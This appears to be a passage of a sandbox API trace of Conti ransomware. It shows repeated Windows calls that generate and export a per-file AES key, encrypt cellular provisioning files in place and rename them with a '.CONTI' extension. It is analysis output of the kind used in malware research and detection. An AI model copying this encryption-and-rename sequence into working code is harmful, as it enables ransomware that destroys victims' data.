	[0111.438] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.438] ReadFile (in: hFile=0x30c, lpBuffer=0xe980000, nNumberOfBytesToRead=0x34f, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x34f, lpOverlapped=0x0) returned 1
	[0111.438] CryptEncrypt (in: hKey=0x17c7cf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x34f, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x350) returned 1
	[0111.438] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.438] WriteFile (in: hFile=0x30c, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x350, lpOverlapped=0x0) returned 1
	[0111.438] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.438] WriteFile (in: hFile=0x30c, lpBuffer=0x65139a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x65139a8*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0111.438] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.438] CloseHandle (hObject=0x30c) returned 1
	[0111.438] GetProcessHeap () returned 0x1720000
	[0111.438] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.664] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml"
	[0111.664] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml.CONTI"
	[0111.664] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\389__connections_cellular_starhub (singapore)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\389__connections_cellular_starhub (singapore)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0111.666] GetProcessHeap () returned 0x1720000
	[0111.666] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.666] CryptDestroyKey (hKey=0x17c7cf0) returned 1
	[0111.666] GetProcessHeap () returned 0x1720000
	[0111.666] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d7b40 | out: hHeap=0x1720000) returned 1
	[0111.666] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0111.666] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x17f8b50 | out: phKey=0x17f8b50*=0x6b7f038) returned 1
	[0111.666] CryptExportKey (in: hKey=0x6b7f038, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17f8b54, pdwDataLen=0x4fbf86c | out: pbData=0x17f8b54*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0111.667] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\416__connections_cellular_zain (sudan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.667] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\416__connections_cellular_zain (sudan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c
	[0111.667] GetLastError () returned 0x0
	[0111.667] GetFileSizeEx (in: hFile=0x40c, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=638) returned 1
	[0111.667] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x27e
	[0111.668] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.668] SetEndOfFile (hFile=0x40c) returned 1
	[0111.668] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.668] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.668] WriteFile (in: hFile=0x40c, lpBuffer=0x17f8b54*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x17f8b54*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0111.669] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.670] ReadFile (in: hFile=0x40c, lpBuffer=0xe980000, nNumberOfBytesToRead=0x27e, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x27e, lpOverlapped=0x0) returned 1
	[0111.670] CryptEncrypt (in: hKey=0x6b7f038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x27e, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x280) returned 1
	[0111.670] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.670] WriteFile (in: hFile=0x40c, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x280, lpOverlapped=0x0) returned 1
	[0111.670] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.670] WriteFile (in: hFile=0x40c, lpBuffer=0x17f8b48*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x17f8b48*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0111.670] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.670] CloseHandle (hObject=0x40c) returned 1
	[0111.670] GetProcessHeap () returned 0x1720000
	[0111.670] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.670] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml"
	[0111.670] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.670] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\416__connections_cellular_zain (sudan)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\416__connections_cellular_zain (sudan)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.671] GetProcessHeap () returned 0x1720000
	[0111.671] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.671] CryptDestroyKey (hKey=0x6b7f038) returned 1
	[0111.671] GetProcessHeap () returned 0x1720000
	[0111.671] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6573b80 | out: hHeap=0x1720000) returned 1
	[0111.671] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0111.671] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x17f8478 | out: phKey=0x17f8478*=0x6b7f038) returned 1
	[0111.671] CryptExportKey (in: hKey=0x6b7f038, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17f847c, pdwDataLen=0x4fbf86c | out: pbData=0x17f847c*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0111.672] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\417__connections_cellular_halebop (sweden)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.672] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\417__connections_cellular_halebop (sweden)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c
	[0111.672] GetLastError () returned 0x0
	[0111.672] GetFileSizeEx (in: hFile=0x40c, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=650) returned 1
	[0111.672] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x28a
	[0111.673] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.673] SetEndOfFile (hFile=0x40c) returned 1
	[0111.673] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.673] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.673] WriteFile (in: hFile=0x40c, lpBuffer=0x17f847c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x17f847c*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0111.674] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.674] ReadFile (in: hFile=0x40c, lpBuffer=0xe980000, nNumberOfBytesToRead=0x28a, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x28a, lpOverlapped=0x0) returned 1
	[0111.674] CryptEncrypt (in: hKey=0x6b7f038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x28a, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x290) returned 1
	[0111.675] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.675] WriteFile (in: hFile=0x40c, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x290, lpOverlapped=0x0) returned 1
	[0111.675] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.675] WriteFile (in: hFile=0x40c, lpBuffer=0x17f8470*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x17f8470*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0111.675] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.675] CloseHandle (hObject=0x40c) returned 1
	[0111.675] GetProcessHeap () returned 0x1720000
	[0111.675] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.675] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml"
	[0111.675] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.675] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\417__connections_cellular_halebop (sweden)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\417__connections_cellular_halebop (sweden)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.676] GetProcessHeap () returned 0x1720000
	[0111.676] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.676] CryptDestroyKey (hKey=0x6b7f038) returned 1
	[0111.676] GetProcessHeap () returned 0x1720000
	[0111.676] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65741e8 | out: hHeap=0x1720000) returned 1
	[0111.676] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0111.676] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x17f8fe0 | out: phKey=0x17f8fe0*=0x6b7f0b8) returned 1
	[0111.676] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17f8fe4, pdwDataLen=0x4fbf86c | out: pbData=0x17f8fe4*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0111.677] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\418__connections_cellular_3 (sweden)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.677] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\418__connections_cellular_3 (sweden)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c
	[0111.677] GetLastError () returned 0x0
	[0111.677] GetFileSizeEx (in: hFile=0x40c, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=706) returned 1
	[0111.677] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c2
	[0111.677] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.677] SetEndOfFile (hFile=0x40c) returned 1
	[0111.677] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.677] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.678] WriteFile (in: hFile=0x40c, lpBuffer=0x17f8fe4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x17f8fe4*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0111.680] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.680] ReadFile (in: hFile=0x40c, lpBuffer=0xe980000, nNumberOfBytesToRead=0x2c2, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x2c2, lpOverlapped=0x0) returned 1
	[0111.680] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x2c2, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x2d0) returned 1
	[0111.680] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.680] WriteFile (in: hFile=0x40c, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x2d0, lpOverlapped=0x0) returned 1
	[0111.680] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.680] WriteFile (in: hFile=0x40c, lpBuffer=0x17f8fd8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x17f8fd8*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0111.680] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.680] CloseHandle (hObject=0x40c) returned 1
	[0111.680] GetProcessHeap () returned 0x1720000
	[0111.680] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.680] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml"
	[0111.680] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.680] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\418__connections_cellular_3 (sweden)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\418__connections_cellular_3 (sweden)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.681] GetProcessHeap () returned 0x1720000
	[0111.681] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.681] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0111.681] GetProcessHeap () returned 0x1720000
	[0111.681] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e1468 | out: hHeap=0x1720000) returned 1
	[0111.681] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
